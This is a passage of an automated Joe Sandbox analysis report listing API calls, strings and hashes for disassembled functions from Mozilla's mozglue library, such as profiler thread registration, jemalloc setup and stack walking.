?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C4F4636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C4F4644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C4F466D
VerSetConditionMask.NTDLL ref: 6C4F469F
VerSetConditionMask.NTDLL ref: 6C4F46AB
VerSetConditionMask.NTDLL ref: 6C4F46B2
VerSetConditionMask.NTDLL ref: 6C4F46B9
VerSetConditionMask.NTDLL ref: 6C4F46C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C4F46CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C4F46F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C4F46FD

Strings

NativeNtBlockSet_Write, xrefs: 6C4F46F7
WRusr.dll, xrefs: 6C4F44B5
kernel32.dll, xrefs: 6C4F44CD
l, xrefs: 6C4F4578
GVl, xrefs: 6C4F44FC
user32.dll, xrefs: 6C4F4557, 6C4F463F

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: GVl$NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-3794031938
Opcode ID: 8bd1ebb80e291ff2e1a2896d69a4b597cbd5fe210b1e2a36896885dd27dcf535
Instruction ID: bb5aba3ec9e4eb3f154d42b93bb7872deefbe195023b017045f06ec003008d96
Opcode Fuzzy Hash: 8bd1ebb80e291ff2e1a2896d69a4b597cbd5fe210b1e2a36896885dd27dcf535
Instruction Fuzzy Hash: 456139B0E00244AFEB00EF66CD05FA9B7F8EB86349F059258E5149BB61DBB08946CF54

Function 6C52F6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C529420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4F4A68), ref: 6C52945E
Part of subcall function 6C529420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C529470
Part of subcall function 6C529420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C529482
Part of subcall function 6C529420: __Init_thread_footer.LIBCMT ref: 6C52949F

GetCurrentThreadId.KERNEL32 ref: 6C52F70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6C52F8F9

Part of subcall function 6C4F6390: GetCurrentThreadId.KERNEL32 ref: 6C4F63D0
Part of subcall function 6C4F6390: AcquireSRWLockExclusive.KERNEL32 ref: 6C4F63DF
Part of subcall function 6C4F6390: ReleaseSRWLockExclusive.KERNEL32 ref: 6C4F640E

ReleaseSRWLockExclusive.KERNEL32(6C56F4B8), ref: 6C52F93A
GetCurrentThreadId.KERNEL32 ref: 6C52F98A
GetCurrentThreadId.KERNEL32 ref: 6C52F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C52F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C52F716

Part of subcall function 6C5294D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5294EE
Part of subcall function 6C5294D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C529508

Part of subcall function 6C4EB5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6C4EB5E0

GetCurrentThreadId.KERNEL32 ref: 6C52F739
AcquireSRWLockExclusive.KERNEL32(6C56F4B8), ref: 6C52F746
GetCurrentThreadId.KERNEL32 ref: 6C52F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6C56385B,00000002,?,?,?,?,?), ref: 6C52F829
free.MOZGLUE(?,?,00000000,?), ref: 6C52F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6C52F866
free.MOZGLUE(?), ref: 6C52FA0C

Part of subcall function 6C4F5E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C4F55E1), ref: 6C4F5E8C
Part of subcall function 6C4F5E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C4F5E9D
Part of subcall function 6C4F5E60: GetCurrentThreadId.KERNEL32 ref: 6C4F5EAB
Part of subcall function 6C4F5E60: GetCurrentThreadId.KERNEL32 ref: 6C4F5EB8
Part of subcall function 6C4F5E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C4F5ECF
Part of subcall function 6C4F5E60: moz_xmalloc.MOZGLUE(00000024), ref: 6C4F5F27
Part of subcall function 6C4F5E60: moz_xmalloc.MOZGLUE(00000004), ref: 6C4F5F47
Part of subcall function 6C4F5E60: GetCurrentProcess.KERNEL32 ref: 6C4F5F53
Part of subcall function 6C4F5E60: GetCurrentThread.KERNEL32 ref: 6C4F5F5C
Part of subcall function 6C4F5E60: GetCurrentProcess.KERNEL32 ref: 6C4F5F66
Part of subcall function 6C4F5E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C4F5F7E

free.MOZGLUE(?), ref: 6C52F9C5
free.MOZGLUE(?), ref: 6C52F9DA

Strings

Thread , xrefs: 6C52F789
[D %d/%d] profiler_register_thread(%s), xrefs: 6C52F71F
[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6C52F9A6
" attempted to re-register as ", xrefs: 6C52F858

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: c920bd270da06c67d196025bc3af875743534f12fdbfdc3c26109ae8642f3a83
Instruction ID: 74f91841d555699ee1cde93527ff45dd14b8551e8b78b06a1f8f5324ed7d04d4
Opcode Fuzzy Hash: c920bd270da06c67d196025bc3af875743534f12fdbfdc3c26109ae8642f3a83
Instruction Fuzzy Hash: CE812571A043109FDB10DF25CC40BAAB7E5EFC5308F45466DE8858BBA1EB34AC09CB92

Function 6C52EE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C529420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4F4A68), ref: 6C52945E
Part of subcall function 6C529420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C529470
Part of subcall function 6C529420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C529482
Part of subcall function 6C529420: __Init_thread_footer.LIBCMT ref: 6C52949F

GetCurrentThreadId.KERNEL32 ref: 6C52EE60
AcquireSRWLockExclusive.KERNEL32(6C56F4B8), ref: 6C52EE6D
ReleaseSRWLockExclusive.KERNEL32(6C56F4B8), ref: 6C52EE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C52EEA5
CloseHandle.KERNEL32(?), ref: 6C52EEB4
free.MOZGLUE(00000000), ref: 6C52EEBB
GetCurrentThreadId.KERNEL32 ref: 6C52EEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C52EECF

Part of subcall function 6C52DE60: GetCurrentThreadId.KERNEL32 ref: 6C52DE73
Part of subcall function 6C52DE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C4F4A68), ref: 6C52DE7B
Part of subcall function 6C52DE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C4F4A68), ref: 6C52DEB8
Part of subcall function 6C52DE60: free.MOZGLUE(00000000,?,6C4F4A68), ref: 6C52DEFE
Part of subcall function 6C52DE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C52DF38

Part of subcall function 6C51CBE8: GetCurrentProcess.KERNEL32(?,6C4E31A7), ref: 6C51CBF1
Part of subcall function 6C51CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4E31A7), ref: 6C51CBFA

GetCurrentThreadId.KERNEL32 ref: 6C52EF1E
AcquireSRWLockExclusive.KERNEL32(6C56F4B8), ref: 6C52EF2B
ReleaseSRWLockExclusive.KERNEL32(6C56F4B8), ref: 6C52EF59
GetCurrentThreadId.KERNEL32 ref: 6C52EFB0
AcquireSRWLockExclusive.KERNEL32(6C56F4B8), ref: 6C52EFBD
ReleaseSRWLockExclusive.KERNEL32(6C56F4B8), ref: 6C52EFE1
GetCurrentThreadId.KERNEL32 ref: 6C52EFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C52F000

Part of subcall function 6C5294D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5294EE
Part of subcall function 6C5294D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C529508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C52F02F

Part of subcall function 6C52F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C52F09B
Part of subcall function 6C52F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C52F0AC
Part of subcall function 6C52F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C52F0BE

Strings

[I %d/%d] profiler_pause, xrefs: 6C52F008
[I %d/%d] profiler_stop, xrefs: 6C52EED7

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: 5edbfcbc01524098bffd7fafad25db531f797b72bb101ed0b46e0bdbd889019f
Instruction ID: 4bb76a688e52557917272ccf25dfd05281127458f4db52c5af315e7e0678ee4d
Opcode Fuzzy Hash: 5edbfcbc01524098bffd7fafad25db531f797b72bb101ed0b46e0bdbd889019f
Instruction Fuzzy Hash: DC51B335A04210DFDB00AB6EDC087B577F4EB8631AF120755E91583FA1DB795804C7AA

Function 6C51D010 Relevance: 31.7, APIs: 13, Strings: 5, Instructions: 215COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C56E804), ref: 6C51D047
GetSystemInfo.KERNEL32(?), ref: 6C51D093
__Init_thread_footer.LIBCMT ref: 6C51D0A6
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C56E810,00000040), ref: 6C51D0D0
InitializeCriticalSectionAndSpinCount.KERNEL32(6C56E7B8,00001388), ref: 6C51D147
InitializeCriticalSectionAndSpinCount.KERNEL32(6C56E744,00001388), ref: 6C51D162
InitializeCriticalSectionAndSpinCount.KERNEL32(6C56E784,00001388), ref: 6C51D18D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C56E7DC,00001388), ref: 6C51D1B1

Strings

: (malloc) Unsupported character in malloc options: ', xrefs: 6C51D322
MALLOC_OPTIONS, xrefs: 6C51D0CB
MOZ_CRASH(), xrefs: 6C51D277
<jemalloc>, xrefs: 6C51D268, 6C51D311
Compile-time page size does not divide the runtime one., xrefs: 6C51D26D

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()
API String ID: 2957312145-326518326
Opcode ID: 29b5ef8b75b70bf2cb92bcfdbaf7d45c0d95651969300fba1d4b537c8bbd2ae2
Instruction ID: afaf8458e880f126868b61c435b229b329132cf396e6d3dd9895771e7c60013e
Opcode Fuzzy Hash: 29b5ef8b75b70bf2cb92bcfdbaf7d45c0d95651969300fba1d4b537c8bbd2ae2
Instruction Fuzzy Hash: BC81EF70B0A2509FEB019F6ECC58B79B7B4EB46314F11052AE81197FA0E7B59806CB99

Function 6C4F7FD0 Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6C4F8007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6C4F801D

Part of subcall function 6C4FCA10: malloc.MOZGLUE(?), ref: 6C4FCA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6C4F802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6C4F803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6C4F808D

Part of subcall function 6C4FCA10: mozalloc_abort.MOZGLUE(?), ref: 6C4FCAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6C4F809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C4F80B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C4F80DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4F80ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4F80FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4F810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C4F8133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6C4F8149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6C4F8167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6C4F817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4F8199

Strings

0>Rl, xrefs: 6C4F811E

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID: 0>Rl
API String ID: 2721933968-856948098
Opcode ID: 11c41626b3cdae5a738157359809c5bd365e0b38b19cec6857aefdd79e2c19f8
Instruction ID: 928830f32242ab6d2f715685d1d4007bf55ee8a6cfbbaf787775b62b67c53a19
Opcode Fuzzy Hash: 11c41626b3cdae5a738157359809c5bd365e0b38b19cec6857aefdd79e2c19f8
Instruction Fuzzy Hash: 6B5199B1E001149BDF00DFAADC84DEFB7B9AF89224F550225E825EB741E730AD05CBA1

Function 6C4F5E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C4F5E9D

Part of subcall function 6C505B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C5056EE,?,00000001), ref: 6C505B85
Part of subcall function 6C505B50: EnterCriticalSection.KERNEL32(6C56F688,?,?,?,6C5056EE,?,00000001), ref: 6C505B90
Part of subcall function 6C505B50: LeaveCriticalSection.KERNEL32(6C56F688,?,?,?,6C5056EE,?,00000001), ref: 6C505BD8
Part of subcall function 6C505B50: GetTickCount64.KERNEL32 ref: 6C505BE4

GetCurrentThreadId.KERNEL32 ref: 6C4F5EAB
GetCurrentThreadId.KERNEL32 ref: 6C4F5EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C4F5ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6C4F6017

Part of subcall function 6C4E4310: moz_xmalloc.MOZGLUE(00000010,?,6C4E42D2), ref: 6C4E436A
Part of subcall function 6C4E4310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6C4E42D2), ref: 6C4E4387

moz_xmalloc.MOZGLUE(00000004), ref: 6C4F5F47
GetCurrentProcess.KERNEL32 ref: 6C4F5F53
GetCurrentThread.KERNEL32 ref: 6C4F5F5C
GetCurrentProcess.KERNEL32 ref: 6C4F5F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C4F5F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6C4F5F27

Part of subcall function 6C4FCA10: mozalloc_abort.MOZGLUE(?), ref: 6C4FCAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C4F55E1), ref: 6C4F5E8C

Part of subcall function 6C4FCA10: malloc.MOZGLUE(?), ref: 6C4FCA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C4F55E1), ref: 6C4F605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C4F55E1), ref: 6C4F60CC

Strings

GeckoMain, xrefs: 6C4F5ECE, 6C4F6015

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: 76c20ca8554d1cd21d7ea56d0f7eb9e4ab32270b45417312c1684a5f0a3f10ec
Instruction ID: b097befeec85663a5ae97989d647b28c2b00e6a685c5f36184f04f3298de48f2
Opcode Fuzzy Hash: 76c20ca8554d1cd21d7ea56d0f7eb9e4ab32270b45417312c1684a5f0a3f10ec
Instruction Fuzzy Hash: C071AEB0A05740DFD710DF29C880E6ABBF0BF99304F544A6DE49687B52D731E949CB92

Function 6C4F9590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C4E31C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C4E3217
Part of subcall function 6C4E31C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C4E3236
Part of subcall function 6C4E31C0: FreeLibrary.KERNEL32 ref: 6C4E324B
Part of subcall function 6C4E31C0: __Init_thread_footer.LIBCMT ref: 6C4E3260
Part of subcall function 6C4E31C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C4E327F
Part of subcall function 6C4E31C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C4E328E
Part of subcall function 6C4E31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C4E32AB
Part of subcall function 6C4E31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C4E32D1
Part of subcall function 6C4E31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C4E32E5
Part of subcall function 6C4E31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C4E32F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C4F9675
__Init_thread_footer.LIBCMT ref: 6C4F9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C4F96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C4F9707
__Init_thread_footer.LIBCMT ref: 6C4F971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C4F9773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C4F97B7
FreeLibrary.KERNEL32 ref: 6C4F97D0
FreeLibrary.KERNEL32 ref: 6C4F97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C4F9824

Strings

Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C4F9670
NtMapViewOfSection, xrefs: 6C4F9701
ntdll.dll, xrefs: 6C4F96E3
MapViewOfFileNuma2, xrefs: 6C4F97B1

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: 8444b3bc373beb895a260ffff919c1a555022c1c2bece17569da228fda3a4cde
Instruction ID: 7ff8bae5ac1c560608167ebecdc3178a62aa6d9b093c17fec9db43075801f23b
Opcode Fuzzy Hash: 8444b3bc373beb895a260ffff919c1a555022c1c2bece17569da228fda3a4cde
Instruction Fuzzy Hash: 2261F671B04305DBDF00DF6ADC88FAABBB0EB8A315F054229E92683B60D7319855CB95

Function 6C546660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6C56F618), ref: 6C546694
GetThreadId.KERNEL32(?), ref: 6C5466B1
GetCurrentThreadId.KERNEL32 ref: 6C5466B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6C5466E1
EnterCriticalSection.KERNEL32(6C56F618), ref: 6C546734
GetCurrentProcess.KERNEL32 ref: 6C54673A
LeaveCriticalSection.KERNEL32(6C56F618), ref: 6C54676C
GetCurrentThread.KERNEL32 ref: 6C5467FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6C546868
RtlCaptureContext.NTDLL ref: 6C54687F

Strings

WalkStack64, xrefs: 6C546890

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: 4fd0fd74a526949b0dd04dbd115f4c87ca7eb67ff3390fe3a4aac79859e727f3
Instruction ID: 67b853423cdc0266164250fc3de2b6ca16f1b62f2ee4e33332d528342e590c1f
Opcode Fuzzy Hash: 4fd0fd74a526949b0dd04dbd115f4c87ca7eb67ff3390fe3a4aac79859e727f3
Instruction Fuzzy Hash: 5C51BD71A09301AFDB11DF29CC44B6ABBF4BF89714F01892DF99887650DB70E908CB96

Function 6C52DE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C529420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4F4A68), ref: 6C52945E
Part of subcall function 6C529420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C529470
